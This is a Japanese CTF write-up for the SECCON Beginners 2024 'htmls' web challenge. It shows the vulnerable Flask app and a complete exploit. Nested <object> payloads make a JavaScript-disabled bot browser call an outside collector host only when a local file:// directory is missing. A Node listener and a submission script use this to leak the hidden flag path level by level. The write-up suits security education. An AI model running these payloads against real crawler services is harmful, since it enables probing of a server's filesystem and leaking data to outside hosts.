[web] htmls (SECCON Beginners CTF 2024) writeup

---

- Source: SECCON Beginners CTF 2024
- Author: [Satoki](https://x.com/satoki00)

---

任意のHTMLを書き込むことができ、送信すると「ローカルに保存したHTML」をbotが閲覧する。

<details><summary>capp.py</summary>

```py
import os
import uuid
import asyncio
from playwright.async_api import async_playwright
from flask import Flask, send_from_directory, render_template, request

app = Flask(__name__)


@app.route("/", methods=["GET"])
def index_get():
    return render_template("index.html")


async def crawl(filename):
    async with async_playwright() as p:
        browser = await p.chromium.launch()
        context = await browser.new_context(java_script_enabled=False)
        page = await context.new_page()
        await page.goto(f"file:///var/www/htmls/{filename}", timeout=5000)
        await browser.close()


@app.route("/", methods=["POST"])
def index_post():
    try:
        html = request.form.get("html")
        filename = f"{uuid.uuid4()}.html"
        with open(f"htmls/{filename}", "w+") as f:
            f.write(html)
        asyncio.run(crawl(f"{filename}"))
        os.remove(f"htmls/{filename}")
    except:
        pass
    return render_template("ok.html")


@app.route("/flag/<path:flag_path>")
def flag(flag_path):
    return send_from_directory("htmls/ctf/", os.path.join(flag_path, "flag.txt"))


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31417)
```

</details>

botには`java_script_enabled=False`が設定されており、XSSができない。
```py
async def crawl(filename):
    async with async_playwright() as p:
        browser = await p.chromium.launch()
        context = await browser.new_context(java_script_enabled=False)
        page = await context.new_page()
        await page.goto(f"file:///var/www/htmls/{filename}", timeout=5000)
        await browser.close()
```

flagは`/var/www/htmls/ctf/a/b/c/1/2/3/.../flag.txt`といった場所で保存されているが、階層数すら分からない。よって、一階層ずつディレクトリ名を特定していく必要がある。
```sh
#!/bin/bash

rm -rf /var/www/htmls/ctf/*

base_path="/var/www/htmls/ctf/"

depth=$((RANDOM % 10 + 15))

current_path="$base_path"

for i in $(seq 1 $depth); do
  char=$(printf "%d" $((RANDOM % 36)))
  if [[ $char -lt 26 ]]; then
    char=$(printf "\\$(printf "%03o" $((char + 97)) )")
  else
    char=$(printf "%d" $((char - 26)))
  fi
  current_path+="${char}/"
  mkdir -p "$current_path"
done

echo 'ctf4b{*****REDACTED*****}' > "${current_path}flag.txt"
```

何らかの方法でディレクトリが存在するか否かを知りたい。多くのブラウザにおいて、fileスキーマでディレクトリにアクセスした際、そのディレクトリが存在する場合はファイル一覧を返すが、存在しない場合はエラーを返す。
![{C26C05C4-2ABA-449E-9C83-0A84D389778C}.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2982709/5a6f592b-a972-3482-bd0d-5b3a59cede07.png)
![{78B67E0B-A2B7-4CA9-BF96-2D21FE6FB6A4}.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2982709/8aab53de-bb26-147d-dda8-5de80ea1aa86.png)


`<object>`は`data`の参照に失敗した時、フォールバックコンテンツとしてその子要素を参照するらしい。これをオラクルに利用する。

このようなhtmlを読み込ませると、`file:///var/www/htmls/ctf/a`が「存在しない」場合のみ`https://xxxxxxxx.m.pipedream.net/a`へのアクセスが発生する。
```html
<object data="file:///var/www/htmls/ctf/a">
  <object data="https://xxxxxxxx.m.pipedream.net/a"></object>
</object>
```

これを`a-z0-9`について試すと、35個のリクエストが飛んできた。つまり、唯一飛んでこなかったパスが実際に存在するパスになる。
```py
charset = "abcdefghijklmnopqrstuvwxyz0123456789"

TEMPLATE = """
<object data="file:///var/www/htmls/ctf/{{PATH}}">
  <object data="https://xxxxxxxx.m.pipedream.net/{{PATH}}"></object>
</object>
"""

html = ""
for i in range(len(charset)):
  html += TEMPLATE.replace("{{PATH}}", f"{charset[i]}")

with open("test.html", "w") as f:
  f.write(html)
```

リクエストを受け取って「リクエストが無かった」パスを特定するサーバーを用意する。なお、36個全てのリクエストが飛んできた時、そこが階層の最深部だと分かる。
```js
const express = require('express');
const app = express();

let charset = "abcdefghijklmnopqrstuvwxyz0123456789".split("");

app.get('*', (req, res) => {
  const pathLastChar = req.path.slice(-1);
  charset = charset.filter(char => char !== pathLastChar);
  if (charset.length === 1) {
    console.log("Found:", charset[0]);
  }
  if (charset.length === 0) {
    console.log("Finished");
  }
  res.send("OK");
});

app.listen(8100);
```

あとは一階層ごとにリクエストを送って存在するディレクトリを特定していく。
```js
const charset = "abcdefghijklmnopqrstuvwxyz0123456789"

const template = `
<object data="file:///var/www/htmls/ctf/{{PATH}}">
  <object data="http://my-server/{{PATH}}"></object>
</object>
`

let path = ""
// let path = "v/6/n/d/f/0/w/p/8/l/6/4/3/b/0/g/r/a/w/0/6/u/"

let html = ""
for (let i = 0; i < charset.length; i++) {
  html += template.replaceAll("{{PATH}}", path+charset[i])
}

const formData = new FormData();
formData.append("html", html);

fetch("http://localhost:31417", {
  method: "POST",
  body: formData,
})
```

最後に特定したパスで`/flag`エンドポイントを叩く。
```sh
curl "http://localhost:31417/flag/v/6/n/d/f/0/w/p/8/l/6/4/3/b/0/g/r/a/w/0/6/u/"
```

flagが得られた。
`ctf4b{h7ml_15_7h3_l5_c0mm4nd_h3h3h3!}`